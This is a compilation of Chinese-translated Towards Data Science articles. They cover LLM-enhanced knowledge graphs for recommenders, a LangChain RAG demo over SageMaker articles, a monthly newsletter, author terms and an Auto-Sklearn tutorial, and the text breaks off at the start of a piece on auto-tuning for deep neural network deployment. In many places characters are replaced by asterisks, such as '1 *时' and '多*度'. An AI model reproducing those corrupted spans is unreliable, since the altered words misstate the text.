[1] 黄、李、杨、石等(2023)。《AudioGPT:理解与生成语音、音乐、声音和谈话头像》。arXiv:2304.12995v1
[2] 刘等(2021)。《DiffSinger:通过浅层扩散机制进行歌声合成》。arXiv:2105.02446
[3] 张等(2021)。《VISinger:使用对抗学习进行端到端歌声合成的变分推断》。arXiv:2110.08813
如果你喜欢这篇文章,可以看看我关于 MusicLM 的文章,即 Google 的突破性音乐生成模型:MusicLM:Google 解决了 AI 音乐生成问题吗?
利用大语言模型(LLMs)完善推荐知识图谱
·发布于 Towards Data Science ·6 分钟阅读·2023 年 11 月 6 日
--
人工智能软件被用来提升本文文本的语法、流畅性和可读性。
随着互联网和在线平台的快速增长,用户面临的选择变得琳琅满目。推荐系统在预测用户偏好和推荐相关内容方面变得至关重要,从而帮助用户应对信息过载。然而,提供准确和个性化的推荐仍然是一个持久的挑战。
问题的关键在于通过建模用户行为来理解用户的真实兴趣和意图。推荐系统依赖于从用户数据中提取的模式,如浏览历史、购买记录、评分和互动。然而,现实世界中的用户数据通常是稀疏和有限的,缺乏捕捉用户意图细微差别所需的重要上下文信号。
因此,推荐模型无法学习全面的用户和项目表示。它们的建议最终往往过于笼统、重复或无关。冷启动问题使得新用户在活动历史较少的情况下问题更加复杂。企业也因客户体验不佳而遭受损失,导致收入损失。
这需要找到能够从用户数据中挖掘更深层次洞见的解决方案。一种新兴的方法是使用知识图谱来封装事实和实体之间的连接。构建良好的知识图谱在解决推荐系统中的关键挑战方面具有巨大的潜力。
知识图谱不仅仅是对用户-项目交互的建模。它们编码了跨多个实体的各种上下文元数据、属性和关系。这种多*度的链接结构模拟了人类记忆存储世界知识的方式。
通过在这些互联的知识上训练专门的图神经网络模型,推荐系统可以学习更具信息量的用户行为和项目特征的表示。丰富的理解导致了针对细化用户需求和场景的建议。
然而,这一愿景面临的障碍是现实世界的知识图谱远非完美。它们存在不完整性,缺少关键的连接和细节。这阻碍了推荐模型真正把握用户的上下文和意图。
幸运的是,语言模型的最新进展带来了希望。像 GPT-3 这样的预训练模型展示了卓越的自然语言生成能力,这得益于其广泛的世界知识。早期利用这种模型进行上下文学习以增强知识图谱的探索显示出很大的前景(Wei et al., 2023)。
在本文中,我们将深入探讨语言模型的增强智能如何转变知识图谱。我们将探讨像 GPT-3 这样的模型驱动的关系预测和属性丰富化等技术。通过综合实例,我们将展示语言模型增强的知识图谱如何解锁智能推荐系统的下一个层级。
知识图谱 — 编码连接
知识图谱将实体(用户、产品)表示为节点,将它们的关系表示为边。将用户与他们的兴趣、人口统计信息、购买历史等连接起来,可以让推荐系统学习更好的表示方式。
然而,基于用户数据的现实世界知识图谱通常存在稀疏性和不完整性。许多潜在的连接被简单地忽略,这限制了系统真正理解用户意图的能力。
这是大型语言模型(LLMs)承诺带来突破的地方。
LLMs — 增强智能
LLMs 因其生成出色的类人文本能力而获得了巨大的受欢迎程度。但更令人印象深刻的是,它们通过在大量文本语料库上进行预训练而编码的大量知识。
最近的研究探讨了利用这些知识来改进由图神经网络(GNNs)驱动的推荐系统。关键思想是使用 LLMs 增强现有的知识图谱,通过强化边缘和增强节点属性来实现。
LLMs 强化图连接
LLMs 可以预测用户和项目之间可能存在但在源数据中未明确出现的潜在连接。例如,通过分析用户的购买历史,它们可以建议用户可能感兴趣的相关产品。
这些 LLM 预测的链接有助于稠密化稀疏图谱,为偏好建模提供关键信号。强化边缘增强了邻域,并允许协作模式的出现。
LLMs 增强节点属性
知识图谱中的节点代表诸如用户和项目等实体。LLMs 可以基于与这些节点相关的文本数据增强其属性。
例如,产品描述和评论可以通过 LLMs 处理,以提取缺失的规格或标签。用户评论和帖子也可以类似地分析,以填补稀疏的个人资料信息。
这导致节点具有丰富的特征向量,克服了冷启动问题。增强的属性改善了语义,从而提供更好的推荐。
改进的建模与增强图谱
通过在 LLM 增强的知识图谱上训练图神经网络,推荐系统可以学习到更优的用户和项目表示。
改进的结构和节点特征导致了捕获细微偏好和项目特征的嵌入。这解决了许多推荐引擎面临的稀疏性和冷启动等关键挑战。
研究显示,通过在将图谱输入 GNN 架构之前使用 LLMs 增强图谱,可以显著提高召回率和降低延迟。
LLMRec 技术:
使用逐步方程增强知识图谱的 LLMRec 技术:
第 1 步:为 LLM 构建提示
首先,我们需要创建提供背景的提示,以便 LLM 生成有用的增强数据。
用于增强用户-项目连接:
PUI = {D, H, C, F}
其中:
-
PUI: 用户-项目交互提示
-
D: 任务描述
-
H: 用户的历史交互
-
C: 候选项
-
F: 所需的输出格式
用于增强节点属性:
PA = {D, E, F)
其中:
-
PA: 属性增强提示
-
D: 任务描述
-
E: 可用实体属性
-
F: 缺失属性的输出格式
第 2 步:从 LLM 获取增强数据
现在我们可以使用这些提示从 LLM 获取增强数据:
EA = LLM(PUI)
AA = LLM(PA)
其中:
-
EA: 增强的用户-项目交互
-
AA: 增强的属性
-
LLM(): 语言模型(例如 GPT-3)
第 3 步:纳入增强
增强数据可以作为以下内容纳入:
E' = E + EA
A' = A + AA
其中:
-
E’: 原始交互和增强交互的联合
-
A’: 原始属性和增强属性的联合
第 4 步:训练增强推荐系统
推荐模型随后在改进后的图上进行训练:
θ* = argmaxθ P(θ|A', E')
其中:
-
θ*: 优化的模型参数
-
P(): 后验概率
数据稳健化技术
LLMRec 中用于处理增强数据噪声的去噪数据稳健化技术:
嘈杂用户-项目交互修剪
-
在每次训练迭代后,将使用增强的用户-项目对计算的损失值按升序排序。
-
修剪或丢弃一定比例的损失值最高的对。这些很可能对应于噪声或不可靠的样本。
-
仅保留损失最*的最可靠对,以便在下一次迭代中进行训练。
-
数学上,通过对损失张量进行排序和切片来实现:
Lsorted = SortAscend(L)
Lpruned = Lsorted[0:N]
其中 N 是修剪后保留的样本数量。
通过 MAE 增强增强特征
-
使用[MASK]标记掩盖图中部分增强的节点特征。
-
使用掩码自编码器从掩码版本中重建原始特征。
-
原始特征与掩码特征之间的特征重建损失作为正则化手段,以提高特征质量。
-
从数学角度看,损失计算公式如下:
LFR = 1/|V| Σ (1 - f⋅f' / ||f||⋅||f'|| )
其中,f 是原始特征,f’是掩码特征,V 是掩码节点的集合。
这些技术共同作用,修剪不可靠的增强内容,并施加约束,以确保噪声人工数据不会降低性能。这导致使用高质量增强图谱的干净、稳健的训练过程。
无限可能性与 LLMs
知识图谱代表了构建更智能、更具上下文理解的下一代推荐系统的一个极具潜力的方向。通过编码多方面的实体连接,它们可以捕捉到细微的用户行为模式和项目关系。
然而,现实世界的知识图谱通常面临如稀疏性和不完整性等关键问题,这限制了它们的有效性。这正是大型语言模型通过预测缺失的连接和生成缺失的描述性属性提供颠覆性机会的地方。
正如我们通过详细的示例所见,像关系强化和属性增强这样的技术,借助 LLMs 可以显著增强现有的知识图谱。增强的智能如同缺失的拼图碎片,将各部分连接起来,创建一个更完整的图景。
在这种丰富的表示上训练图神经网络,释放了知识图谱的全部潜力。这使得学习复杂的用户和项目嵌入成为可能,从而捕捉细微和语义信息。
结果是能够真正理解用户上下文和意图的推荐系统。LLM 驱动的知识图谱为智能助手铺平了道路,这些助手可以满足细致的用户需求和场景。
随着语言模型的不断进化,它们的知识增强能力也将不断提升。通过因果推理和对话互动等进展,它们可能帮助构建解释性图谱,将推荐与用户行为和理由联系起来。
大规模应用确实需要解决计算开销和可能出现的算法偏差等挑战。但这些可能性使得这是未来推荐系统中最有前景的方向之一。
知识就是力量。在推荐系统领域,语言模型补充的知识图谱看似将释放这种力量。这标志着智能推荐的新纪元的开始。在这个时代,系统不仅仅是模式匹配,而是表现出对用户上下文和需求的更深刻理解,从而提供有针对性的建议。
作者提供的图片
用 RAG 增强 LLM
原文:
towardsdatascience.com/augmenting-llms-with-rag-f79de914e672
查看一个大型语言模型(LLM)模型如何回答 Amazon SageMaker 相关问题的端到端示例
·发表于 Towards Data Science ·9 分钟阅读·2023 年 10 月 10 日
--
图片来源 Unsplash
我在 Medium 上写了不少关于不同技术主题的博客,特别是关于 在 Amazon SageMaker 上托管机器学习(ML)模型。最近,我也对日益增长的生成式 AI/大型语言模型生态系统产生了兴趣(就像行业中的其他人一样,哈哈)。
这两个不同的领域让我产生了一个有趣的问题。我的 Medium 文章在教授 Amazon SageMaker 方面表现如何? 为了回答这个问题,我决定实现一个利用 检索增强生成(RAG) 的生成式 AI 解决方案,并访问我的一些文章,以查看它能够多好地回答一些与 SageMaker 相关的问题。
在这篇文章中,我们将构建一个端到端的生成式 AI 解决方案,并利用一些流行的工具来实现这个工作流:
-
LangChain: LangChain 是一个流行的 Python 框架,通过提供现成的模块来帮助简化生成式 AI 应用程序,这些模块有助于提示工程、RAG 实现和 LLM 工作流编排。
-
OpenAI: LangChain 将负责我们生成式 AI 应用程序的编排,但大脑仍然是模型。在这种情况下,我们使用了 OpenAI 提供的 LLM,但 LangChain 也可以与不同的模型源集成,如 SageMaker 端点、Cohere 等。
注意:本文假设读者具有中级 Python 了解和对 LangChain 的基本了解。我建议参考这篇 文章 来更好地理解 LangChain 和构建生成性 AI 应用。
免责声明:我在 AWS 担任机器学习架构师,我的观点仅代表我个人。
问题概述
大型语言模型(LLMs)本身非常强大,通常可以在不依赖微调或额外知识/上下文的情况下回答许多问题。
然而,当你需要访问其他特定的数据源,尤其是最新数据时,这可能会成为瓶颈。例如,虽然 OpenAI 已经在大量数据语料库上进行了训练,但它并不知道我最近在 Medium 上写的文章。
在这种情况下,我们想要检查我的 Medium 文章在回答关于 Amazon SageMaker 的问题方面能提供多大的帮助。OpenAI 的模型已经从它们训练过的语料库中获得了一些关于 Amazon SageMaker 的知识。我们想要看到的是,通过让这些大型语言模型(LLMs)访问我的 Medium 文章,我们能提升多少性能。这些文章几乎可以作为一个为已经拥有大量知识库的 LLMs 提供的速查表。
我们如何为这些 LLMs 提供访问这些额外知识和信息的途径?
为什么我们需要 RAG
这就是 检索增强生成(RAG) 发挥作用的地方。通过 RAG,我们提供了一个信息检索系统,使我们能够访问所需的额外数据。这将帮助我们回答更高级的 SageMaker 问题,并增强我们的 LLM 知识库。要实现一个基本的 RAG 系统,我们需要几个组件:
-
嵌入模型:对于我们提供访问的数据,这些数据不能仅仅是一些文本或图像,而是需要以数值/向量格式进行捕捉,以便所有自然语言处理模型(包括 LLMs)能够理解。为了转换我们的数据,我们利用了 OpenAI 嵌入模型,但也有多种不同的选择,如 Cohere、Amazon Titan 等,你可以评估它们的性能。
-
向量存储:一旦我们拥有了嵌入,我们需要利用一个向量数据存储,不仅存储这些向量,还提供一种高效的方式来索引和检索相关数据。当用户有查询时,我们希望返回包含与该输入相似性的任何相关上下文。这些向量存储大多数由 KNN 和其他最近邻算法提供支持,以为初始问题提供相关上下文。在这个解决方案中,我们使用了 Facebook 的 FAISS 库,该库可用于高效的相似性搜索和向量聚类。
-
LLM 模型:在这种情况下,我们有两个模型,一个是用于创建嵌入的嵌入模型,但我们仍然需要主要的 LLM,它接收这些嵌入和用户输入以返回输出。在这种情况下,我们也使用默认的 ChatOpenAI 模型。
RAG 流程(作者创建)
从本质上讲,你可以将 RAG 视为 LLM 的性能增强器,通过提供基础 LLM 可能尚未拥有的额外知识。在下一部分中,我们将探讨如何利用 LangChain 和 OpenAI 实现这些概念。
生成式 AI 应用与示例推理
要开始,你需要一个 OpenAI API 密钥,你可以在以下 链接 找到并安装。注意费用和 API 限制,以便了解定价结构。对于开发,我们在 SageMaker Classic Notebook 实例 中工作,但任何安装了 OpenAI 和 LangChain 的环境都应足够。
import os
os.environ['OPENAI_API_KEY'] = 'Enter your API Key here'
# necessary langchain imports
import langchain
from langchain.embeddings.openai import OpenAIEmbeddings
from langchain.embeddings.cache import CacheBackedEmbeddings
from langchain.vectorstores import FAISS
from langchain.storage import LocalFileStore
from langchain.document_loaders import PyPDFDirectoryLoader
from langchain.chains import RetrievalQA
from langchain.chat_models import ChatOpenAI
设置 LangChain 和 OpenAI 后,我们创建一个本地目录,存储十篇我的热门 Medium 文章作为 PDF。这将是我们为 LLM 提供的额外数据/信息。
Medium 文章(作者截图)
下一步,我们需要能够加载这些数据,并创建一个目录以存储我们生成的嵌入。LangChain 提供了许多工具,可以自动加载并拆分/切块你的数据。 切块 尤其重要,因为我们不希望生成的嵌入数据集过大。数据越大,可能引入的噪声也越多。
在这种情况下,我们使用 LangChain 提供的 PDF 加载器 来加载和拆分我们的数据。
# where our embeddings will be stored
store = LocalFileStore("./cache/")
# instantiate a loader: this loads our data, use PDF in this case
loader = PyPDFDirectoryLoader("sagemaker-articles/")
# by default the PDF loader both loads and splits the documents for us
pages = loader.load_and_split()
print(len(pages))
然后,我们实例化我们的 OpenAI 嵌入模型。我们使用嵌入模型创建我们的嵌入,并填充我们创建的本地缓存目录。
# instantiate embedding model
embeddings_model = OpenAIEmbeddings()
embedder = CacheBackedEmbeddings.from_bytes_store(
embeddings_model,
store
)
嵌入生成(作者截图)
然后我们创建了 FAISS 向量存储并推送了嵌入的文档。
# create vector store, we use FAISS in this case
vector_store = FAISS.from_documents(pages, embedder)
然后我们使用检索问答链来将这些移动部件汇聚在一起。我们指定了上面创建的向量存储,并将 ChatOpenAI 默认 LLM 作为模型,该模型将接收输入和相关文档以获取上下文。
# this is the entire retrieval system
medium_qa_chain = RetrievalQA.from_chain_type(
llm=ChatOpenAI(),
retriever=vector_store.as_retriever(),
return_source_documents=True,
verbose=True
)
然后我们可以通过传入相同的提示并观察结果,比较模型在没有 RAG 的情况下与基于 RAG 的链的性能。让我们运行一系列不同难度的示例提示。
sample_prompts = ["What does Ram Vegiraju write about?",
"What is Amazon SageMaker?",
"What is Amazon SageMaker Inference?",
"What are the different hosting options for Amazon SageMaker?",
"What is Serverless Inference with Amazon SageMaker?",
"What's the difference between Multi-Model Endpoints and Multi-Container Endpoints?",
"What SDKs can I use to work with Amazon SageMaker?"]
for prompt in sample_prompts:
#vanilla OpenAI Response
response = openai.Completion.create(
engine="text-davinci-003",
prompt=prompt,
max_tokens = 500)
# RAG Augmented Response
response_rag = medium_qa_chain({"query":prompt})
我们可以看到第一个问题本身非常具体于我的写作。我们知道 OpenAI 模型没有访问或了解我的文章,因此它给出的描述非常随机且不准确。
OpenAI 回应(作者截图)
另一方面,我们的 RAG 链接访问了一些我的 Medium 文章,并生成了对我写作内容的相当准确的总结。
RAG 回应(作者截图)
我们可以通过提出一些 SageMaker 相关的问题来测试这两种方法。我们从一个非常基本的问题开始:什么是 Amazon SageMaker?由于 OpenAI LLM 对此有了解,它会给出一个相当准确并且可以与我们基于 RAG 的方法相媲美的回答。
OpenAI 与 RAG 回应(作者截图)
当问题开始变得更加具体和困难时,我们开始看到 RAG 的真正好处。一个例子是比较两种高级托管选项的提示:多模型端点 (MME) 和 多容器端点 (MCE)。
MME 与 MCE(作者截图)
在这里我们看到,Vanilla OpenAI 的回答给出了一个完全不准确的答案,它对这两个最近的功能没有了解。然而,我的关于 MCE 与 MME 的具体 Medium 文章为模型提供了这些功能的背景,因此它能够准确回答查询。
借助 RAG,我们可以扩展我们 LLM 已经掌握的关于 SageMaker 的基础知识。在下一部分,我们可以查看不同的方法来改进我们所构建的原型。
我们如何提高性能?
虽然这是一个很好的解决方案,但还有很多改进空间以便于扩展。你可以用来改进基于 RAG 的性能的一些潜在方法包括以下几点:
-
数据大*和质量:在这个案例中,我们仅提供了十篇 Medium 文章,仍然看到了良好的性能。为了提升效果,我们还可以提供我所有 Medium 文章的访问权限,或者任何带有“ SageMaker”标签的内容。我们还直接复制了我的文章而没有任何格式化,PDF 本身也非常无结构,清理数据格式可以帮助更好地分块,从而优化性能。注意: 使用的数据也必须仅依赖于你被允许用于目的的资源/文章。在这个例子中,以我的 Medium 文章作为来源没有问题,但始终确保你以授权的方式使用数据。
-
向量存储优化:在这个案例中,我们使用了默认的 FAISS 向量存储设置。你可以调整的项包括向量存储索引的速度,以及检索和提供给 LLM 的文档数量。
-
微调与 RAG:虽然 RAG 有助于获得领域特定的知识,但微调也是帮助 LLM 获得特定知识集的另一种方法。你需要在这里评估你的使用案例,以确定是微调更有意义,还是两者的结合。一般来说,如果你有优质的数据,微调表现非常出色。在这种情况下,我们甚至没有对数据进行格式化或调整,但仍能取得良好的结果。对于微调,数据的可用性和质量至关重要。有关这两种选项的详细分析,请参阅以下文章。
附加资源与结论
[## LangChain-Samples/Medium-SageMaker-Analyzer 在 master · RamVegiraju/LangChain-Samples]
示例展示了如何将 LangChain 与 GenAI 集成。通过创建一个…贡献于 RamVegiraju/LangChain-Samples 的开发。
整个示例的代码可以在上述链接中找到。这是一个有趣的项目,用于评估我的文章的价值,同时展示如何将 RAG 集成到你的生成式 AI 应用程序中。在接下来的文章中,我们将继续探索更多生成式 AI 和 LLM 驱动的功能。
一如既往,感谢你的阅读,欢迎随时留下反馈。
如果你喜欢这篇文章,请随时通过 LinkedIn 与我联系,并订阅我的 Medium 新闻通讯。
八月刊:数据科学家的夏季读物
月刊
寻找一些启发性、引人入胜、发人深省的文章?你来对地方了
·
关注 发表在 Towards Data Science ·4 min read·2023 年 8 月 2 日
--
图片来源:Hari Nandakumar 在 Unsplash
现在是重新评估什么算作引人入胜的夏季阅读材料的时候了吗?我们认为是时候了。传统观念(以及许多市场部门)会让我们相信,温暖的天气和较慢的节奏要求低投入、低回报的娱乐活动:如果你愿意的话,可以把它看作是知识上的冰棒。
我们的作者们有不同看法。在过去几周中,我们分享了许多聪明而发人深省的文章,他们找到了愿意探讨复杂主题的接受者。成功的关键可能在于执行:如果一篇文章有吸引力的语调,并帮助我们扩展对当前数据科学和机器学习场景的认知,那么它就可以成为泳池边、火车上或者露营中的消遣。
我们希望您喜欢我们八月份那些富有启发性且易于阅读的选择。在我们深入探讨之前,我们还想感谢您的支持,特别向那些愿意通过成为 Medium 会员做出有意义贡献的人致以特别的感谢。
谈到Medium:这个平台对社区和讲故事的庆祝即将到来,TDS 的作家和读者都受到热烈邀请。Medium Day 将于 8 月 12 日举行,注册仍在进行中(免费)。到时见?
TDS 编辑精选
-
到底女性都在哪里?(2023 年 7 月,10 分钟)
最近几个月来,我们看到了许多关于大型语言模型输出中偏见的片段性报道。Yennie Jun的一项启发性研究采用了系统化方法,展示了语言模型在性别平等方面的深层问题。该研究强调,在 AI 工具完全普及到教育领域之前,解决这些偏见的重要性。
-
普遍生成 AI 的环境影响(2023 年 7 月,15 分钟)
“如果数十亿人开始每天广泛使用生成 AI,环境影响会如何?”也许我们离 AI 像那样普及的时刻还很远,但Kasper Groes Albin Ludvigsen现在就推动我们考虑技术对气候的影响,现在还有机会塑造其未来方向。
-
全球数据晴雨表:世界上开放数据的当前状态是什么?(2023 年 7 月,8 分钟)
政府发布的公开数据集的快速增长可能会让一些人认为我们正处于一个开放数据的黄金时代。迪亚·巴尔多希对数据可访问性和治理的概述采用全球视角,描绘了一个更复杂的故事:尽管取得了很大进展,但仍面临许多挑战(这些挑战往往在各地区和国家之间分布不均)。
-
ChatGPT 真的智能吗?(2023 年 7 月,11 分钟)
如果你对夏季阅读的定义包括一个大而引人注目的问题和一个细致而深思的答案,你会喜欢蓝楚的最新文章。ChatGPT 等工具的当前和未来能力引发了激烈的争论,蓝楚的深度探讨是理解这些工具如何工作——以及为什么它们仍然远未具备类似人类的理解(更不用说意识)——的有用资源。
-
迈布里奇德比:用人工智能赋予动物运动照片生命(2023 年 7 月,16 分钟)
爱德华·迈布里奇的马的运动照片序列标志着 19 世纪后半叶新兴电影技术的到来;罗伯特·A·冈萨尔*斯利用这些动态图像展示了最近创新——生成性人工智能——在需求驱动下产生迷人视觉效果的力量。
-
数据科学能找到大脚怪吗?(2023 年 5 月,14 分钟)
对于数据科学家来说,利用核心工作流——如探索性数据分析、聚类和可视化——来追踪世界上最著名的神秘生物之一,还有什么比这更有趣的呢?布拉德利·斯蒂芬·肖以半开玩笑的方式尝试寻找大脚怪,展示了即使从最不可能的来源中也可以挖掘出有趣的见解。
原创特色
探索我们最新的资源和阅读推荐。
-
关注 TDS 列表,发现我们最好的文章 充分利用我们最近推出(并频繁更新)的 Medium 列表,找到我们推荐的所有文章。
-
让数据团队获得成功的决策 我们精心策划的文章集合,关于那些帮助数据团队脱颖而出、执行良好并产生可持续结果的选择。
热门文章
如果你错过了这些,这里是上个月 TDS 最受欢迎的文章。
-
Pandas 2.0:数据科学家的游戏规则改变者? 作者:Miriam Santos
-
ChatGPT 代码解释器:它如何为我节省了数*时的工作 作者:Soner Yıldırım
-
在本地使用 CPU 推理运行 Llama 2 进行文档问答 作者:Kenneth Leung
-
用三种难度级别解释向量数据库 作者:Leonie Monigatti
-
在 Colab 笔记本中微调你自己的 Llama 2 模型 作者:Maxime Labonne
-
从分析到实际应用:客户生命周期价值的案例 作者:Katherine Munro
我们非常高兴在 6 月迎来了新一批 TDS 作者——他们包括*亚切斯拉夫·朱可夫、库洛德·艾拉米、赫特·特里*迪、迈克·琼斯、费利克斯·范·德伦、沙哈尔·戴*森、布雷克·阿特金森、安娜·*亚、杰克·布兰丁、索拉诺·托德斯基*、埃伦·加布里利扬、帕特里克·米久拉博士和扬·坎蒂·米尔切克、达科塔·史密斯、*吉·巴拉戈帕拉克里希南、马克·德尔贝尔、马蒂亚斯·敏德、阿什利·张、戴夫·林、莉亚·阮、达莎·赫尔曼诺娃博士、约翰·梁和汉斯·范·达姆。如果你有有趣的项目或想法与我们分享,我们很乐意听取你的意见!
下个月见。
作者使用条款和条件
原文:
towardsdatascience.com/author-terms-and-conditions-of-use-b9b3935ff999
最后更新于 2024 年 9 月
了解 TDS 发布的规则和细节
·发表于 Towards Data Science ·阅读时间 1 分钟 ·2023 年 3 月 7 日
--
图片由 Leone Venter 提供,来源于 Unsplash
我们是一个利用 Medium 平台的出版机构,致力于帮助成千上万的数据专业人士分享他们的想法、知识和专长。
TDS 在不断发展和演变中也改变了与贡献者之间的关系条款。您可以在这里找到最新版本的条款:作者使用条款和条件——2024 年 9 月。
链接文档中的条款不会以任何方式更改、修改或替代您与 Medium 之间的关系,该关系受 Medium 服务条款 的约束。
如果您是当前或潜在的作者,并且对向 TDS 贡献有任何疑问,我们在 这里 解释了如何与我们联系。您还可以阅读我们作者使用条款和条件的先前版本:2023 年 8 月、2023 年 3 月、2022 年 8 月、2020 年 7 月。
Auto-Sklearn:如何通过自动化机器学习提升性能和效率
了解如何利用 AutoML 来最大化你的机器学习工作流的结果
·发布于 数据科学前沿 ·阅读时间 6 分钟·2023 年 4 月 11 日
--
图片由作者提供。
由于选择合适的机器学习模型以完成特定的预测任务的挑战,模型数量众多 让我们感到熟悉。除此之外,我们还需要找到最佳的超参数,以最大化模型的性能。
这些挑战可以通过自动化机器学习,即AutoML,在很大程度上得到解决。我说在很大程度上是因为,尽管名字中有“自动”一词,这个过程并不是完全自动化的,仍然需要用户进行一些手动调整和决策。
实质上,AutoML 使用户摆脱了数据预处理、模型选择、超参数优化和集成构建这些繁琐且耗时的任务。因此,这个工具包不仅节省了专家的宝贵时间,还使非技术用户能够进入机器学习领域。正如作者所说:
自动化机器学习提供了使机器学习对非机器学习专家可用的方法和过程,旨在提高机器学习的效率并加速机器学习领域的研究。
尽管市面上有许多 AutoML 包,例如 AutoWEKA、Auto-PyTorch 或 MLBoX,本文将重点关注 Auto-Sklearn —— 一个基于流行的 scikit-learn 包的库。
什么是 Auto-Sklearn?
Auto-Sklearn 是一个基于 Python 的开源库,它自动化了诸如数据和特征预处理、算法选择、超参数优化和集成构建等机器学习过程。为了实现这种高程度的自动化,该库利用了贝叶斯优化的最新进展,并考虑了在类似数据集上的过去表现。
更具体地说,它在三个关键方面改进了之前的方法。首先,它引入了贝叶斯优化 Bayesian optimization 的概念,该概念通过利用从之前运行中获得的信息,允许在多个数据集上高效地调整超参数。此外,它还使自动 集成构建成为可能,这些模型通过贝叶斯优化被考虑,从而进一步提高模型性能。最后,Auto-Sklearn 配备了一个高度参数化的机器学习框架,集成了来自 scikit-learn 的高性能分类器和预处理器,允许灵活且可定制的模型构建。
总的来说,Auto-Sklearn 包含 16 种分类器、14 种特征预处理方法和大量的数据预处理方法,这些方法共同形成了一个拥有 122 个超参数的假设空间。这些数字随着新版本的发布而不断变化。
这个库的实现非常简单。事实上,最棘手的部分是其 安装,因为它与 Windows 不兼容,并且在 Mac 上也报告了一些问题。因此,建议在 Linux 操作系统上运行它(提示: Google Colab 运行在 Linux 上,你可以将其作为实验的平台)。
安装完成后,Auto-Sklearn 只需四行代码即可运行:
import autosklearn.classification
clf = autosklearn.classification.AutoSklearnClassifier()
clf.fit(X_train, y_train)
predictions = clf.predict(X_test)
然而,仍然建议进行一些手动调整和参数化,以使用户的意图与模型的输出保持一致。现在让我们看看 Auto-Sklearn 在实践中的使用方法。
实际示例
在这个例子中,我们将比较一个使用默认参数的单一分类器——在这种情况下,我选择了一个 决策树分类器——与 Auto-Sklearn 的分类器性能。为此,我们将使用公开的 手写数字光学识别 数据集,每个样本由一个 8x8 的数字图像组成——因此,*度是 64。总的来说,这个数据集包含 1797 个样本,这些样本被分配到 10 个独特的类别(每个类别约 180 个样本)。
以下是这个数据集的一些样本:
图片由作者提供。数据使用的许可信息:CC BY 4.0。
数据集可以加载到 Python 中,并按照以下方式划分为训练集和测试集:
from sklearn import datasets
from sklearn.model_selection import train_test_split
X, y = datasets.load_digits(return_X_y=True)
X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=42)
基准:决策树分类器
首先,让我们在这个数据集上训练一个具有默认参数的简单决策树,并查看在这些条件下它的表现如何。
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import accuracy_score
clf = DecisionTreeClassifier().fit(X_train, y_train)
y_pred = clf.predict(X_test)
accuracy_score(y_test, y_pred)
这个简单的方法得到了 86.67%的准确率——还不错,但并不特别出色。让我们看看是否可以用 Auto-Sklearn 超越这个结果。
Auto-Sklearn
在运行之前,让我们先定义一些参数:
-
time_left_for_this_task
:搜索总时长的时间限制(以秒为单位)。这个限制越高,找到更好模型的机会就越大。默认值为 3600,表示 1 *时。 -
per_run_time_limit
:对机器学习模型单次调用的时间限制。如果算法超过这个限制,模型拟合将被终止。 -
ensemble_size
:添加到集成中的模型数量。如果不需要集成拟合,可以设置为 1。
现在我们可以使用 Auto-Sklearn 拟合一个模型。我们将让任务运行 3 分钟,并将单次模型调用的时间限制设为 30 秒:
import autosklearn.classification
from sklearn.metrics import accuracy_score
automl = autosklearn.classification.AutoSklearnClassifier(
time_left_for_this_task = 3*60,
per_run_time_limit = 30
)
automl.fit(X_train, y_train)
y_pred = automl.predict(X_test)
accuracy_score(y_test, y_pred)
这给了我们 98.67%的准确率——比我们简单的基准测试有了显著提升。
我们可以通过sprint.statistics()
方法获取对训练过程的进一步见解:
print(automl.sprint_statistics())
截图由作者提供。
例如,我们可以看到我们最佳的验证得分为 98.88%,其中 30 个算法中有 23 个成功运行,6 个超时,1 个超出了内存限制。基于此,我们可以增加时间限制参数,看看是否能进一步提高性能。
使用leaderboard()
方法,我们还可以可视化所有评估模型的结果表(供参考:该表格在一张棒棒糖图中可视化,这也是本文的特色图片):
print(automl.leaderboard())
截图由作者提供。
关于进入集成模型的各个单独模型的更多细节,可以通过show_models()
函数获取:
from pprint import pprint
pprint(automl.show_models(), indent=2)
这里只展示了 15 个模型中的 2 个。截图由作者提供。
注意: 尽管集成模型确实可以提升模型的性能和鲁棒性,但它们也有一些缺点,如复杂性增加、训练时间增加以及缺乏可解释性。可以通过以下方式停用集成拟合:ensemble_size=1
。
Auto-Sklearn 2.0 —— 有什么新变化?
去年,Auto-Sklearn 进行了多项改进,并发布了一篇名为 “Auto-Sklearn 2.0: 通过元学习实现无干预 AutoML” 的论文。主要改进包括 (1) 早期停止,提高了效率并确保即使训练超时也能得到结果,(2) 改进的模型选择策略,包括多种方法来近似泛化误差以及添加 贝叶斯优化和 Hyperband (BOHB),这是一种用于大规模超参数优化的多功能工具,以及 (3) 通过元学习进行的自动策略选择,免除了用户选择 AutoML 系统配置的烦恼。
结论
总结来说,Auto-Sklearn 是一个强大且用户友好的库,免除了用户在数据和特征预处理、模型选择、超参数调整及(如果需要)集成构建中的繁琐和耗时的任务。这已被证明可以显著提高各种机器学习任务的性能和效率。尽管需要 一些 用户输入,Auto-Sklearn 仍然相当自动化,因此也允许新手和非技术用户用几行代码实现复杂的机器学习解决方案。
想自己尝试一下吗?查看由 AutoML 社区提供的众多示例。
更多资源
-
Auto-Sklearn 论文: 高效且鲁棒的自动化机器学习 (neurips.cc)
-
Auto-Sklearn 2.0 论文: [2007.04074] Auto-Sklearn 2.0: 通过元学习实现无干预 AutoML (arxiv.org)
-
Auto-Sklearn 2.0 博客: AutoML | Auto-Sklearn 2.0: 下一代
喜欢这篇文章吗?
让我们联系吧!你可以在 Twitter、LinkedIn 和 Substack 上找到我。
如果你想支持我的写作,可以通过 Medium 会员进行,这样你可以访问我的所有故事以及 Medium 上其他成千上万位作家的作品。
[## 通过我的推荐链接加入 Medium - Thomas A Dorfer
阅读 Thomas A Dorfer(以及 Medium 上成千上万位作家的)每一个故事。你的会员费用直接支持…
深度神经网络部署的自动调整
原文:
towardsdatascience.com/auto-tuning-for-deep-neural-network-deployment-ff2324cb41d
什么,为什么,最重要的是……如何?
·发表于 Towards Data Science ·阅读时间 7 分钟·2023 年 9 月 1 日
--
图片由 S. Tsuchiya 提供,发布在 Unsplash。
介绍
比较不同神经网络(NN)架构的指标之一是训练所需的时间。需要几个*时?几天?几周?通常,通过更新训练所用的硬件可以改善这一点。用更强大的 GPU 替换性能较差的 GPU,将训练过程并行化到多个 GPU 上等。推理步骤也会发生类似的情况。我们是否将训练好的网络部署到嵌入式设备上,如微控制器?还是运行在移动设备上?也许网络太大了,我们需要嵌入式 GPU 或甚至服务器级 GPU 才能执行。
